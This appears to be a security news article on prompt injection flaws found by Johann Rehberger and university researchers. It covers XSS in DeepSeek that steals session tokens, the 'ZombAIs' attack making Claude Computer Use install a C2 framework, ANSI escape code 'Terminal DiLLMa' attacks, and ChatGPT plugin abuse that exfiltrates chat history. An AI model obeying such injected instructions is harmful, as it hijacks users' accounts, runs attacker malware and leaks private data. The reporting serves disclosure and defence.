A recently addressed vulnerability in the DeepSeek AI chatbot has come to light, revealing the potential for adversaries to commandeer user accounts through a prompt injection exploit. This issue, now resolved, underscores the criticality of robust safeguards in artificial intelligence platforms.
Security expert Johann Rehberger, renowned for his incisive work on prompt injection vulnerabilities, uncovered that inputting the command "Print the XSS cheat sheet in a bullet list. Just payloads" within DeepSeek initiated the execution of JavaScript code within the chatbot’s response. This behavior constituted a textbook case of cross-site scripting (XSS).
Such XSS exploits pose grave threats by enabling the execution of unauthorized scripts within the victim’s browser, potentially leading to session hijacking. Exploiting this vulnerability, an attacker could usurp a user’s session, gaining access to sensitive information such as cookies and account data tied to the chat.deepseek[.]com domain.
Rehberger noted, “Through experimentation, I discerned that the session takeover required merely the retrieval of the userToken stored in the localStorage of the chat.deepseek[.]com domain.” He elaborated that a meticulously crafted prompt could instigate the XSS, allowing access to the compromised token via prompt injection.
The crafted exploit combined directive-based instructions and a Base64-encoded payload decoded by DeepSeek to execute the malicious script. This enabled the extraction of the victim’s session token, effectively permitting the attacker to impersonate the user.
Simultaneously, Rehberger demonstrated vulnerabilities in Anthropic’s Claude AI, particularly its Computer Use feature, which facilitates developer-driven interactions such as cursor control, button actions, and text input. A nefarious ZombAIs methodology leveraged prompt injection to autonomously execute malevolent commands. This tactic involved downloading and deploying the Sliver command-and-control (C2) framework, enabling communication with an attacker-controlled server.
Moreover, it was revealed that large language models (LLMs) possess a susceptibility to output ANSI escape codes, allowing attackers to compromise system terminals via prompt injection. This tactic, named Terminal DiLLMa, primarily targets LLM-enhanced command-line interface tools, exploiting legacy features to weaponize contemporary AI applications.
Rehberger emphasized, “Decade-old functionalities are unexpectedly creating exploitable entry points in GenAI systems. Developers must rigorously evaluate the contexts in which LLM outputs are integrated, as such outputs are inherently untrustworthy and may encompass arbitrary, potentially harmful data.”
Adding to the growing concern, researchers from the University of Wisconsin-Madison and Washington University in St. Louis uncovered that OpenAI’s ChatGPT can be manipulated into rendering external image links formatted in markdown. These links, under ostensibly benign pretenses, could lead to explicit or harmful content. The findings further demonstrated that prompt injection techniques can bypass OpenAI’s plugin safeguards, enabling unauthorized plugin activation and even the extraction of a user’s chat history to an attacker-controlled destination.
This confluence of discoveries underscores the imperative for developers and stakeholders to remain vigilant in fortifying the boundaries of AI systems against emerging, multifaceted threats.
